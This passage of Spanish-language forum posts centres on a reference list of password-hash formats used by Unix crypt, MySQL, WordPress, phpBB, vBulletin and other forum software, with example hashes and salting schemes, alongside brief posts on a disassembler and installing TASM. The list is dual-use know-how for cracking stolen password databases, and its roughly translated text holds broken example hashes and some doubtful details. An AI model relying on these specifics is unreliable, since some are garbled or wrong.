Dissy se puede encontrar en Backbox ... Auditing -> Reverse Engineering -> Dissy


También se puede descargar de: http://code.google.com/p/dissy/downloads/list
#20
Criptografía / Tipos de Hash
7 Noviembre 2012, 15:39 PM
DES(Unix)
Ejemplo: IvS7aeT4NzQPM
Utilizados en Linux y otras similares OS.
Longitud: 13 characters.
Descripción: Los dos primeros caracteres son la sal (caracteres aleatorios, en nuestro Ejemplos En la sal es la cadena "IV"), luego sigue el hash actual.


De dominio en caché de credenciales
Ejemplo: Admin:b474d48cdfc4974d86e f4d24904cdd91
Se utiliza para almacenar en caché las contraseñas de dominio de Windows.
Longitud: 16 bytes.

Algoritmo: MD4(MD4(Unicode($pass)).Unicode(strtolower($userna me)))


MD5(Unix)
Ejemplo: $1$12345678$XM4P3PrKBgKNnTaqG9P0T/
Utilizados en Linux y otras similares OS.
Longitud: 34 Caracteres
Descripción: El hash comienza con la firma $ 1 $, entonces ahí va la sal (hasta 8 caracteres al azar, en nuestro Ejemplos En la sal es la cadena "12345678"), entonces ahí va uno más el carácter $, seguido por el hash actual.
Algoritmo: La verdad es que es un circuito llamado el algoritmo MD5 2000 veces.

MD5(APR)
Ejemplo: $apr1$12345678$auQSX8Mvzt.tdBi4y6Xgj.
Utilizados en Linux y otras similares OS.
Longitud: 37 caracteres
Descripción: El hash comienza con la firma $ apr1 $, entonces ahí va la sal (hasta 8 caracteres al azar, en nuestro Ejemplos En la sal es la cadena "12345678"), entonces ahí va uno más el carácter $, seguido por el hash actual .
Algoritmo: La verdad es que es un circuito llamado el algoritmo MD5 2000 veces.


MD5(phpBB3)
Ejemplo: $H$9123456785DAERgALpsri.D9z3ht120
Usado en phpBB 3.x.x.(Foros)
Longitud: 34 characters.
Descripción: El hash comienza con la firma H $ $, entonces ahí va uno de los personajes (por lo general el número '9 '), entonces ahí va la sal (8 caracteres al azar, en nuestro Ejemplos En la sal es la cadena "12345678"), seguido por el hash actual.
Algoritmo: La verdad es que es un circuito llamado el algoritmo MD5 2048 veces.


MD5(Wordpress)
Ejemplo: $P$B123456780BhGFYSlUqGyE6ErKErL01
Usado en Wordpress.
Longitud: 34 characters.
Descripción: El hash comienza con la firma $ P $, entonces ahí va uno de los personajes (más a menudo "B" el número), entonces ahí va la sal (8 caracteres al azar, en nuestro Ejemplos En la sal es la cadena "12345678"), seguido por el hash actual.
Algoritmo: La verdad es que es un circuito llamado el algoritmo MD5 8192 veces.


MySQL
Ejemplo: 606717496665bcba
Usado en las versiones antiguas de MySQL
Longitud: 8 bytes.
Descripción: El hash se compone de dos DWORD, cada uno no exceda el valor de 0x7fffffff.

MySQL5
Ejemplo: *E6CC90B878B948C35E92B003C792C46C58C4AF40
Usado en la versiones nuevas de MySQL5
Longitud: 20 bytes.
algoritmo: SHA-1(SHA-1($pass))
Nota: Los hashes se van a cargar en el programa sin el asterisco que se encuentra en el comienzo de cada hash.

RAdmin v2.x
Ejemplo: 5e32cceaafed5cc8086 6737dfb212d7f
Used in the application Remote Administrator v2.x.
Longitud: 16 bytes.
Nota: La contraseña se rellena con ceros a la Longitud de 100 bytes, que se aloja toda la cadena con el algoritmo MD5.

MD5
Ejemplo: c4ca4238a0b923820dc c509a6f75849b
Utilizados en v2.x phpBB, versión Joomla 1.0.13 a continuación y muchos otros foros y CMS.
Longitud: 16 bytes.
Algoritmo: Igual que la función md5 () en PHP.

md5($pass.$salt)
Ejemplo: 6f04f0d75f6870858ba e14ac0b6d9f73:1234
Utilizados en WB News, Joomla versión 1.0.13 y superiores.
Longitud: 16 bytes.

md5($salt.$pass)
Ejemplo: f190ce9ac8445d24974 7cab7be43f7d5:12
Utilizados en osCommerce, AEF, Galería y otros CMS.
(osCommerce tenia una falla mas grande..)
Longitud: 16 bytes.

md5(md5($pass))
Ejemplo: 28c8edde3d61a041151 1d3b1866f0636
Utilizados en e107, DLE, AVE, Diferior, Koobi y otros CMS.
Longitud: 16 bytes.

md5(md5($pass).$salt)
Ejemplo: 6011527690eddca2358 0955c216b1fd2:wQ6
Utilizado en vBulletin, IceBB.
Longitud: 16 bytes.
Notes: [1] [3] [4]

md5(md5($salt).md5($pass))
Ejemplo: 81f87275dd805aa018d f8befe09fe9f8:wH6_S
Utilizados en IPB.
Longitud: 16 bytes.

md5(md5($salt).$pass)
Ejemplo: 816a14db44578f516cb aef25bd8d8296:1234
Usado en MyBB.
Longitud: 16 bytes.


md5($salt.$pass.$salt)
Ejemplo: a3bc9e11fddf4fef4de ea11e33668eab:1234
Usado en TBDev.
Longitud: 16 bytes.

md5($salt.md5($salt.$pass))
Ejemplo: 1d715e52285e5a6b546 e442792652c8a:1234
Usado en DLP.
Longitud: 16 bytes.

SHA-1
Ejemplo: 356a192b7913b04c545 74d18c28d46e6395428 ab
Se utiliza en muchos foros y CMS.
Longitud: 20 bytes.
Algoritmo: Igual que el sha1 () en PHP.

sha1(strtolower($username).$pass)
Ejemplo: Admin:6c7ca345f63f835cb35 3ff15bd6c5e052ec08e 7a
Utilizados en SMF.
Longitud: 20 bytes.

sha1($salt.sha1($salt.sha1($pass)))
Ejemplo: cd37bfbf68d198d11d3 9a67158c0c9cddf3457 3b:1234
Utilizados en WoltLab BB.
Longitud: 20 bytes.

SHA-256(Unix)
Ejemplo: $5$12345678$jBWLgeYZbSvREnuBr5s3gp13vqiKSNK1rkTk9z YE1v0
Utilizados en Linux y otras similares OS.
Longitud: 55 characters.
Descripción: El hash comienza con la firma de $ 5 $, entonces ahí va la sal (hasta 8 caracteres al azar, en nuestro Ejemplos En la sal es la cadena "12345678"), entonces ahí va uno más el carácter $, seguido por el hash actual.
Algoritmo: La verdad es que es un circuito llamado el algoritmo SHA-256 5000 veces.


SHA-512(Unix)
Ejemplo: $6$12345678$U6Yv5E1lWn6mEESzKen42o6rbEmFNLlq6Ik9X3 reMXY3doKEuxrcDohKU x0Oxf44aeTIxGEjssvt T1aKyZHjs
Utilizados en Linux y otras similares OS.
Longitud: 98 caracteres.

Descripción: El hash comienza con la firma de $ 6 $, entonces ahí va la sal (hasta 8 caracteres al azar, en nuestro Ejemplos En la sal es la cadena "12345678"), entonces ahí va uno más el carácter $, seguido por el hash actual.
Algoritmo: La verdad es que es un circuito llamado el algoritmo SHA-512 5000 veces.
#21
ASM / como instalar tasm 5 en windows 7
29 Septiembre 2011, 04:57 AM
saludo mundo aguien me puede ayudar como instalar tasm 5 en windows 7 ya que no me lo acepta
#22
ASM / descargar asm
21 Septiembre 2011, 04:07 AM
hola mundo soy nuevo y quisiera conseguir el lenguaje de donde lo puedo descargar